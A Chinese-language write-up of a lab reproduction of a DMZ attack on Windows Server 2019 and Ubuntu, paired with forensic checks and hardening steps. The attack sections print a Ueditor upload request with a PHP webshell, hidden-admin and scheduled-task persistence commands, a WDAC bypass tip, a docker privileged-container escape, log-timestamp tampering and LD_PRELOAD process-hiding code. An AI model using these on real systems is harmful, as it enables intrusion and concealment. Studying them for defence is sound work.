1. DMZ区攻防场景复现的价值与准备
在网络安全领域,DMZ(Demilitarized Zone)作为内外网之间的缓冲地带,一直是攻防对抗的前沿阵地。去年某次红蓝对抗中,攻击方仅用3小时就通过DMZ区的Windows Server 2019拿下了整个内网,这个案例让我深刻意识到:纸上谈兵永远比不上真实环境演练。
要完整复现这个场景,我们需要准备以下实验环境:
- 攻击机:Kali Linux(2024.1版本)搭载哥斯拉v4.0
- 靶机A:Windows Server 2019 Standard(关闭自动更新)
- 靶机B:Ubuntu 22.04 LTS(安装docker-ce)
- 网络拓扑:使用VMware Workstation构建模拟DMZ区,NAT模式连接内网
关键提示:务必在隔离环境中进行实验,建议使用物理断网的独立主机运行虚拟机。我曾见过有学员的杀毒软件将实验工具误报为真实威胁,触发了企业SOC告警。
2. Windows边界突破实战记录
2.1 Ueditor漏洞利用过程
攻击始于一个看似无害的文件上传点。某CMS自带的Ueditor 1.4.3版本存在经典的文件上传漏洞,攻击链如下:
- 构造特殊请求绕过前端验证:
POST /ueditor/php/controller.php?action=uploadfile HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="upfile"; filename="test.php.jpg" Content-Type: image/jpeg <?php @eval($_POST['cmd']);?> ------WebKitFormBoundaryABC123--- 利用解析差异获取webshell:
- 服务器配置错误导致.jpg文件被当作php执行
- 实际案例中攻击者常用"双扩展名"绕过(如:shell.php%00.jpg)
2.2 权限维持的三种隐蔽方式
获得初始立足点后,攻击者通常会做这些操作:
| 技术手段 | 实现命令 | 防御检测要点 |
|---|---|---|
| 隐藏用户创建 | net user sysbackup Pa$$w0rd /add /active:yesnet localgroup administrators sysbackup /add | 检查注册表HKLM\SAM\SAM\Domains\Account\Users |
| 计划任务持久化 | schtasks /create /tn "WindowsUpdate" /tr "C:\shell.exe" /sc minute /mo 30 | 审核%SystemRoot%\System32\Tasks目录 |
| WMI事件订阅 | 通过PowerShell创建__EventFilter绑定到特定事件 | 使用Get-WMIObject查询异常订阅 |
实战经验:Windows Defender应用控制(WDAC)会阻止未经签名的payload执行,遇到"你的组织使用了windows defender应用程序控制来阻止此应用"提示时,可尝试通过certmgr.msc导入伪造证书绕过。
3. 横向移动与Linux系统渗透
3.1 从Windows到Ubuntu的跳板攻击
通过Windows服务器获取DMZ区Ubuntu主机的访问凭证后,攻击者典型的操作流程:
- 使用psexec.py进行SMB爆破:
python3 psexec.py 'WORKGROUP/Administrator:Password123@192.168.52.131'- 发现docker服务时的特权逃逸:
# 检查docker socket权限 ls -al /var/run/docker.sock # 如果可写,直接创建特权容器 docker run -it -v /:/mnt --privileged ubuntu bash3.2 Ubuntu系统中的痕迹清理技巧
攻击者常用的反取证手段包括:
- 修改~/.bash_history文件时间戳:
perl -i -pe 's/2024-02-15/2024-01-10/g' /home/user/.bash_history touch -d "2024-01-10 12:00:00" /home/user/.bash_history- 使用LD_PRELOAD隐藏进程:
// evil.c #include <stdio.h> #include <sys/stat.h> int lstat(const char *path, struct stat *buf) { if(strstr(path, "malware")) return -1; return __lxstat(3, path, buf); }编译后设置export LD_PRELOAD=/tmp/evil.so
4. 防御者的排查实战手册
4.1 Windows服务器取证四步法
- 内存分析:使用Volatility3检测异常进程
vol.py -f memory.dump windows.pslist.PsList- 日志审查关键点:
- 事件ID 4624(登录成功)与4625(登录失败)的关联分析
- 事件ID 4688(进程创建)中的父进程异常
- 文件系统时间线:
# 生成最近7天修改过的可执行文件列表 powershell "gci C:\ -Recurse -File -Include *.exe,*.dll,*.ps1 | ? {$_.LastWriteTime -gt (Get-Date).AddDays(-7)} | select FullName,LastWriteTime,Length | Export-Csv -NoTypeInformation files.csv"- 网络连接比对:
Get-NetTCPConnection | Where-Object {$_.State -eq "Established"} | Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess | ft4.2 Ubuntu系统入侵指标排查
- 检查异常cron任务:
# 查看所有用户的计划任务 ls -la /var/spool/cron/crontabs/ cat /etc/crontab- 检测隐藏的docker容器:
# 对比docker ps与磁盘实际容器 docker ps -a ls -la /var/lib/docker/containers/- 网络连接分析进阶技巧:
# 显示所有TCP连接及其对应进程 ss -tulnp | grep -v '127.0.0.1' # 检查异常的LD_PRELOAD环境变量 cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i preload5. 攻防演练后的加固建议
根据多次实战经验,这些加固措施能有效提升DMZ区安全:
Windows Server 2019加固清单
- 启用LSA保护:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] "RunAsPPL"=dword:00000001 - 配置WDAC默认拒绝策略:
ConvertFrom-CIPolicy -XmlFilePath .\DefaultDeny.xml -BinaryFilePath .\DenyPolicy.bin
Ubuntu 22.04防护要点
Docker安全配置:
# 创建docker专用用户组 sudo groupadd dockerusers sudo usermod -aG dockerusers <username> sudo chown root:dockerusers /var/run/docker.sock sudo chmod 660 /var/run/docker.sock内核级防护:
# 安装apparmor并配置默认策略 sudo apt install apparmor apparmor-utils sudo aa-enforce /etc/apparmor.d/*
在最近一次为客户部署的DMZ区中,通过上述措施成功拦截了超过80%的初始攻击尝试。特别是WDAC与AppArmor的组合使用,使得即使攻击者获取了webshell也难以执行有效载荷。